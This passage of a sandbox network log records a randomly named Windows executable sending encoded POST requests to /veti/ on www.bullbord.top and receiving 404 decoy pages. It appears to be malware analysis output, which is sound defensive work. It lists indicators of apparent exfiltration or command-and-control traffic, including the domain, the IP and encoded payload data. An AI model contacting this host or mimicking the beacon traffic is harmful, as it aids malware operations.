viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Aug 27, 2024 07:59:41.945714951 CEST	1289	IN	Data Raw: 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 Data Ascii: 14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000
Aug 27, 2024 07:59:41.945729017 CEST	1289	IN	Data Raw: 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 32 33 37 34 33 33 39 33 70 78 3b 73 74 72 6f 6b Data Ascii: style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0
Aug 27, 2024 07:59:41.945848942 CEST	1289	IN	Data Raw: 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: 157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.34
Aug 27, 2024 07:59:41.945971966 CEST	1289	IN	Data Raw: 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 Data Ascii: none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.2
Aug 27, 2024 07:59:41.945986986 CEST	1289	IN	Data Raw: 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35 37 37 20 31 36 2e 38 33 37 32 34 2c 33 31 2e 37 38 39 30 34 20 34 2e 35 31 37 32 38 2c 38 2e 37 35 33 32 37 20 37 2e 32 39 39 36 34 2c 31 34 2e 35 34 39 38 35 Data Ascii: 9885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80647 -0.53034,14.14338 -2.88706,36.53226 -5.4209,56.44
Aug 27, 2024 07:59:41.946141958 CEST	1289	IN	Data Raw: 20 31 2e 30 30 31 37 31 31 2c 33 36 2e 38 38 37 30 31 20 31 2e 35 39 30 39 39 39 2c 35 34 2e 33 32 39 39 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 Data Ascii: 1.001711,36.88701 1.590999,54.32995" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545" d="m 83.
Aug 27, 2024 07:59:41.946156025 CEST	1289	IN	Data Raw: 20 64 3d 22 6d 20 34 32 2e 34 32 36 34 30 37 2c 31 35 35 2e 33 38 38 32 35 20 63 20 33 2e 34 31 38 34 2c 30 2e 38 32 35 31 33 20 36 2e 38 33 36 30 38 32 2c 31 2e 36 35 30 30 39 20 31 30 2e 36 30 36 39 39 37 2c 32 2e 31 38 30 33 34 20 33 2e 37 37 Data Ascii: d="m 42.426407,155.38825 c 3.4184,0.82513 6.836082,1.65009 10.606997,2.18034 3.770916,0.53024 7.89657,0.76599 11.608535,0.88382 3.711965,0.11782 7.012548,0.11782 10.429711,0.0589 3.417163,-0.0589 6.953769,-0.17681 10.606588,-0.23572 3.652818,
Aug 27, 2024 07:59:41.946167946 CEST	1289	IN	Data Raw: 74 68 34 36 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: th4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse ry="4.315
Aug 27, 2024 07:59:41.946178913 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a 65 72 6f 3b 73 74 72 6f 6b 65 3a 23 30 30 30 Data Ascii: style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.03816
Aug 27, 2024 07:59:42.112746000 CEST	1289	IN	Data Raw: 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 34 35 31 35 2c 2d 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d Data Ascii: sform="translate(-170.14515,-0.038164)" id="path4610" d="m 318,180.45184 c 0.66667,0 1.33434,0 1.501,0.16616 0.16667,0.16617 -0.16667,0.49951 0.001,0.66667 0.16767,0.16717 0.68771,0.16717 0.89053,0.36949 0.20282,0.202

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49863	203.161.46.205	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:44.466876030 CEST	1154	OUT	POST /veti/ HTTP/1.1 Host: www.bullbord.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.bullbord.top Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.bullbord.top/veti/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 50 52 59 6c 53 78 55 30 42 4a 48 56 36 64 68 2b 59 68 39 78 36 54 30 47 4c 35 34 69 73 33 6c 5a 67 47 66 41 50 31 39 55 4b 65 36 44 45 6e 35 42 2b 38 58 64 6f 67 68 67 37 44 55 78 6d 43 70 52 6a 6e 47 36 4a 52 69 2b 57 6b 31 4f 4d 73 58 4b 6b 41 7a 5a 46 7a 70 4b 76 6a 74 62 71 64 78 73 68 76 76 77 44 67 35 38 42 53 4f 4d 72 54 68 6a 4a 70 33 35 68 5a 4b 63 6b 55 39 77 67 71 6a 33 73 51 65 7a 56 6f 45 38 4c 43 35 4f 43 37 51 68 49 6d 4a 59 77 33 4d 70 35 71 54 46 36 56 66 6b 41 36 6a 41 31 6e 35 32 63 53 76 6d 2b 4c 70 47 2b 43 73 45 44 38 39 73 4d 2b 64 4b 53 2b 4a 75 55 63 6a 31 73 57 70 35 71 6c 41 64 55 45 77 4c 73 67 76 2b 51 75 31 6e 4e 58 67 62 6e 38 63 78 58 78 4e 53 4b 53 6d 75 45 4c 2b 52 33 32 70 5a 4b 56 64 33 70 32 4f 59 6d 72 68 4e 63 55 45 31 69 42 5a 39 71 41 74 2b 4a 53 78 63 32 6b 6d 4c 34 42 6c 6d 71 70 57 38 4f 39 75 66 70 73 65 6d 42 75 71 64 51 66 72 56 4e 6d 71 44 4c 37 35 2b 63 53 32 55 78 4a 56 38 4a 4d 5a 45 30 74 4d 78 37 38 38 70 33 42 4a 52 61 47 [TRUNCATED] Data Ascii: ij60MtY=PRYlSxU0BJHV6dh+Yh9x6T0GL54is3lZgGfAP19UKe6DEn5B+8Xdoghg7DUxmCpRjnG6JRi+Wk1OMsXKkAzZFzpKvjtbqdxshvvwDg58BSOMrThjJp35hZKckU9wgqj3sQezVoE8LC5OC7QhImJYw3Mp5qTF6VfkA6jA1n52cSvm+LpG+CsED89sM+dKS+JuUcj1sWp5qlAdUEwLsgv+Qu1nNXgbn8cxXxNSKSmuEL+R32pZKVd3p2OYmrhNcUE1iBZ9qAt+JSxc2kmL4BlmqpW8O9ufpsemBuqdQfrVNmqDL75+cS2UxJV8JMZE0tMx788p3BJRaG3oUEFYPP4sL5ImB0xgUs0IqTcnE+KNKXWURrzD6/Sa1NHNE+xcmg/nMbp3fIXJgxUn8fWfnMPnFw4N/qTtR5xsYec3x0MFI+3YaW5xDKwwQT8hbFRCr9pJk+vmg8FOF6BmYkhm2vCS7t8FWN9cKq1pLbhiJpKBWNwzaCOWHVx0BWUk1Owts/nUWC4QQvz3i+gP0JwiVtVyO+E=
Aug 27, 2024 07:59:44.637384892 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 05:59:44 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Aug 27, 2024 07:59:44.637492895 CEST	1289	IN	Data Raw: 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 Data Ascii: 14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000
Aug 27, 2024 07:59:44.637506962 CEST	1289	IN	Data Raw: 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 32 33 37 34 33 33 39 33 70 78 3b 73 74 72 6f 6b Data Ascii: style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0
Aug 27, 2024 07:59:44.637622118 CEST	1289	IN	Data Raw: 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: 157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.34
Aug 27, 2024 07:59:44.637743950 CEST	1289	IN	Data Raw: 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 Data Ascii: none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.2
Aug 27, 2024 07:59:44.637758970 CEST	1289	IN	Data Raw: 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35 37 37 20 31 36 2e 38 33 37 32 34 2c 33 31 2e 37 38 39 30 34 20 34 2e 35 31 37 32 38 2c 38 2e 37 35 33 32 37 20 37 2e 32 39 39 36 34 2c 31 34 2e 35 34 39 38 35 Data Ascii: 9885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80647 -0.53034,14.14338 -2.88706,36.53226 -5.4209,56.44
Aug 27, 2024 07:59:44.637769938 CEST	1289	IN	Data Raw: 20 31 2e 30 30 31 37 31 31 2c 33 36 2e 38 38 37 30 31 20 31 2e 35 39 30 39 39 39 2c 35 34 2e 33 32 39 39 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 Data Ascii: 1.001711,36.88701 1.590999,54.32995" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545" d="m 83.
Aug 27, 2024 07:59:44.637782097 CEST	1289	IN	Data Raw: 20 64 3d 22 6d 20 34 32 2e 34 32 36 34 30 37 2c 31 35 35 2e 33 38 38 32 35 20 63 20 33 2e 34 31 38 34 2c 30 2e 38 32 35 31 33 20 36 2e 38 33 36 30 38 32 2c 31 2e 36 35 30 30 39 20 31 30 2e 36 30 36 39 39 37 2c 32 2e 31 38 30 33 34 20 33 2e 37 37 Data Ascii: d="m 42.426407,155.38825 c 3.4184,0.82513 6.836082,1.65009 10.606997,2.18034 3.770916,0.53024 7.89657,0.76599 11.608535,0.88382 3.711965,0.11782 7.012548,0.11782 10.429711,0.0589 3.417163,-0.0589 6.953769,-0.17681 10.606588,-0.23572 3.652818,
Aug 27, 2024 07:59:44.637875080 CEST	1289	IN	Data Raw: 74 68 34 36 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: th4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse ry="4.315
Aug 27, 2024 07:59:44.637975931 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a 65 72 6f 3b 73 74 72 6f 6b 65 3a 23 30 30 30 Data Ascii: style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.03816
Aug 27, 2024 07:59:44.803483009 CEST	1289	IN	Data Raw: 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 34 35 31 35 2c 2d 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d Data Ascii: sform="translate(-170.14515,-0.038164)" id="path4610" d="m 318,180.45184 c 0.66667,0 1.33434,0 1.501,0.16616 0.16667,0.16617 -0.16667,0.49951 0.001,0.66667 0.16767,0.16717 0.68771,0.16717 0.89053,0.36949 0.20282,0.202

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49864	203.161.46.205	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:47.172384024 CEST	2578	OUT	POST /veti/ HTTP/1.1 Host: www.bullbord.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.bullbord.top Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.bullbord.top/veti/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 50 52 59 6c 53 78 55 30 42 4a 48 56 36 64 68 2b 59 68 39 78 36 54 30 47 4c 35 34 69 73 33 6c 5a 67 47 66 41 50 31 39 55 4b 65 79 44 46 52 74 42 2f 66 2f 64 70 67 68 67 6e 54 55 77 6d 43 70 4d 6a 6e 65 41 4a 52 75 75 57 6d 64 4f 50 2f 66 4b 6e 79 4c 5a 41 7a 70 4c 6a 44 74 5a 75 64 78 65 68 76 6a 61 44 67 74 47 42 68 53 4d 71 56 52 6a 4f 65 6a 36 74 70 4b 61 6b 55 39 73 33 36 6a 2f 73 51 61 6a 56 6f 41 38 4c 45 68 4f 54 5a 34 68 4b 31 78 59 6b 33 4d 71 7a 4b 54 4f 76 6c 66 42 41 36 6e 55 31 6e 35 4d 63 54 72 6d 2b 4d 64 47 39 42 55 48 43 63 39 73 53 4f 64 4a 57 2b 31 71 55 63 76 39 73 57 74 35 71 6b 6b 64 56 6b 77 4c 36 54 33 68 48 2b 30 73 4a 58 67 4d 74 63 41 44 58 31 6c 34 4b 51 71 75 44 2f 57 52 78 56 52 5a 5a 6b 64 33 67 32 4f 65 70 4c 68 65 53 30 45 70 69 41 31 58 71 41 4e 49 4a 56 78 63 33 46 47 4c 71 51 6c 6c 73 4a 57 36 53 4e 76 66 74 73 61 51 42 75 37 43 51 66 72 46 4e 69 61 44 4c 4c 70 2b 66 54 32 54 78 5a 56 37 50 4d 5a 72 69 64 41 4e 37 38 67 66 33 42 78 42 61 41 [TRUNCATED] Data Ascii: ij60MtY=PRYlSxU0BJHV6dh+Yh9x6T0GL54is3lZgGfAP19UKeyDFRtB/f/dpghgnTUwmCpMjneAJRuuWmdOP/fKnyLZAzpLjDtZudxehvjaDgtGBhSMqVRjOej6tpKakU9s36j/sQajVoA8LEhOTZ4hK1xYk3MqzKTOvlfBA6nU1n5McTrm+MdG9BUHCc9sSOdJW+1qUcv9sWt5qkkdVkwL6T3hH+0sJXgMtcADX1l4KQquD/WRxVRZZkd3g2OepLheS0EpiA1XqANIJVxc3FGLqQllsJW6SNvftsaQBu7CQfrFNiaDLLp+fT2TxZV7PMZridAN78gf3BxBaAXoVkFYZMgrBJIhJUw5bM0lqTQVE/f4KkSURbjDsPSd/NHJPexWwg/nMbkQfIbJgEwn9vmfifnnVA4X/qT8R59fYd9Wx08/I8bYaHpxELw3Fz8kfFRVldUTk+jug8UxFNZmeXZmyvCNu98eCd8dOqx1LYVTJqWRWOAzekHXSmJWX14S5MQnrceBYVoSG+ngjJAs0p0aCPRGQrOawGOPI+4JDOSIMV/t+aWtVVguj/NbvQwbA1hKQ402hVoXqOSomwU2Twi387zpLSTfz145E7EfnxhjX6OgVElzb/7V5S5ZfOi3UXHbjzyudrxnlv5k3mK5tEAiIBM8kerjqSz8sNUHl0oZSaU93bZIKo83o7jd4qkU/1FdNrOI9qsOkoCJB8sql12aTvcNrlwljNYm+eFxKZCRYIglqVkOIDEzmMYM1xiw88tX3cOKLUySahmRmZ4jXAq/B4u1br0YLo4SSDRfaYiO/MRTxkHBJCmEiWgUegkceDq3SX7PsqHI/TSnXfc/vQ+a/P9F5yTgVL2Iw1Ajo1FIR3KAI60Ej+qqDT+T9rIgZigIY1i5z6f3LD/S6sZwF+PEeLifmOwTMcC2n3ws1velmiVe/OdnG+tPM7lVOR+tnummgJGSMHHu4hkEYRUc7LpMJAdd3yg0eq/xq17FFsHy76ZkF+QC [TRUNCATED]
Aug 27, 2024 07:59:47.172410011 CEST	6445	OUT	Data Raw: 78 34 69 4a 49 6c 59 42 32 76 58 72 77 6c 75 78 73 2f 31 39 4a 71 67 2f 6a 70 5a 39 62 68 51 59 38 6f 35 62 73 68 5a 64 4e 36 30 49 73 49 31 63 77 44 47 74 78 33 59 44 32 70 79 61 31 2f 4d 50 68 34 69 4e 41 6b 52 34 6e 31 6b 4d 6e 39 34 2f 70 4f Data Ascii: x4iJIlYB2vXrwluxs/19Jqg/jpZ9bhQY8o5bshZdN60IsI1cwDGtx3YD2pya1/MPh4iNAkR4n1kMn94/pOA6aItzID371nkImHjO9cSzcscjVUfX098336Zoa+4HRk2/DRVOHuzXKwx9kTE5diTMW3xQF5aO5kM4kT3Nuu+p7x0lJjyrhZw1zkn5AKxW/fWE/2ND7VIQWbcGLcP8WtBH1C5Ea/fJ0/izNmy3X/efqXrKhHKZbUS
Aug 27, 2024 07:59:47.172470093 CEST	3867	OUT	Data Raw: 79 2f 41 32 74 6e 4a 68 35 31 37 6c 5a 78 48 45 6e 6d 7a 46 33 4e 64 4e 7a 61 74 2b 34 6c 65 41 46 78 35 2b 2b 52 6a 34 56 47 66 7a 34 39 66 30 72 6d 43 4b 44 55 58 5a 67 41 30 77 59 48 67 62 67 56 49 57 43 38 7a 4d 53 66 6b 30 33 39 5a 7a 36 6c Data Ascii: y/A2tnJh517lZxHEnmzF3NdNzat+4leAFx5++Rj4VGfz49f0rmCKDUXZgA0wYHgbgVIWC8zMSfk039Zz6l2CP6szBEd3WeF/LQZwvbVAukPr/wo3MLpSHe2MfIaBP75T7KlcW8KWFBjzf0g/HnQ+CSz2CCFwPXwe8yl2RfFpIAUoquij1/MwxNE4cUh6cg3bIsHYklYWtFuCHMQMjwoGmD6Wr95I4uYqbtndSGIpy+3MndHTYDw
Aug 27, 2024 07:59:47.339867115 CEST	1289	OUT	Data Raw: 6c 41 47 54 62 64 57 66 75 58 4e 39 49 66 6f 4a 77 33 70 42 5a 76 33 70 47 5a 2f 4b 72 63 71 6b 34 4c 63 50 71 4f 4f 66 4b 41 65 4d 69 70 78 41 6a 61 51 6e 39 41 6d 38 37 59 77 4a 75 55 6b 79 72 49 64 67 49 49 74 69 72 58 7a 61 55 52 6e 32 54 6d Data Ascii: lAGTbdWfuXN9IfoJw3pBZv3pGZ/Krcqk4LcPqOOfKAeMipxAjaQn9Am87YwJuUkyrIdgIItirXzaURn2Tm+B9PipsWrEiXwMGcllYejCmaU31f+p7jiYD6/lEUnm5ZiCwmzamePnTQPzh+Y6ulXYy698/s0gUm2Duoqa5dnCgGgqms5iwRi5lqdY4jFv1zlekn9vlROodVr4lIE9jLc3s/9HYg+u9MT+Qu0q/IlF0nt5NMpi8iL
Aug 27, 2024 07:59:47.339916945 CEST	1289	OUT	Data Raw: 7a 79 71 71 72 70 78 65 5a 76 66 52 4f 6b 76 2b 6a 70 4f 66 44 5a 6c 59 2b 4e 67 79 4b 71 61 65 6d 79 42 78 42 44 4f 6e 30 43 31 55 39 6f 62 2f 6f 59 41 78 6a 77 44 7a 53 73 6d 4c 5a 72 2b 34 34 33 39 6f 57 2b 31 6b 6b 34 37 64 31 5a 57 63 6f 47 Data Ascii: zyqqrpxeZvfROkv+jpOfDZlY+NgyKqaemyBxBDOn0C1U9ob/oYAxjwDzSsmLZr+4439oW+1kk47d1ZWcoGX26oXvqOwB2tYyHemBNz7Wp0Mt4ycAl3esJI1yunz/Jcng/QWRJx+WvCtWUup2NVDLbyYz8lunBOXen6kTgWwd5M2J/8OXCr0B835vh0s/DXnQWz39H7ieP/r0O4FZVJqgKNKCqujL+X2YeIrNsAMtOcW/wv6/9Yi
Aug 27, 2024 07:59:47.340214014 CEST	2578	OUT	Data Raw: 52 64 43 30 67 43 76 4a 6e 33 2f 39 56 54 47 43 37 73 4c 6b 46 51 69 70 71 74 36 48 66 53 2f 42 30 67 68 7a 4e 50 67 4a 4f 64 78 36 36 72 74 42 50 6f 72 6b 45 4a 36 33 79 61 56 69 48 76 6a 50 43 76 4f 55 68 4d 5a 30 64 74 30 4f 59 79 79 2b 31 7a Data Ascii: RdC0gCvJn3/9VTGC7sLkFQipqt6HfS/B0ghzNPgJOdx66rtBPorkEJ63yaViHvjPCvOUhMZ0dt0OYyy+1zIytX4DO4tLsKPZEJ2yUJL3KcheJKpYoyz8EB7qR52/MMqYE/nHX+KR8e7ZdM9d4puXSnRojB/c73cAeKews1ZLdVN5Fw10dIpboWlb5S45n04l3nmKcYpZIj81gMMsNq9d1V7pZx5UWXy/QIYQKNqdnBYosKYW4aB
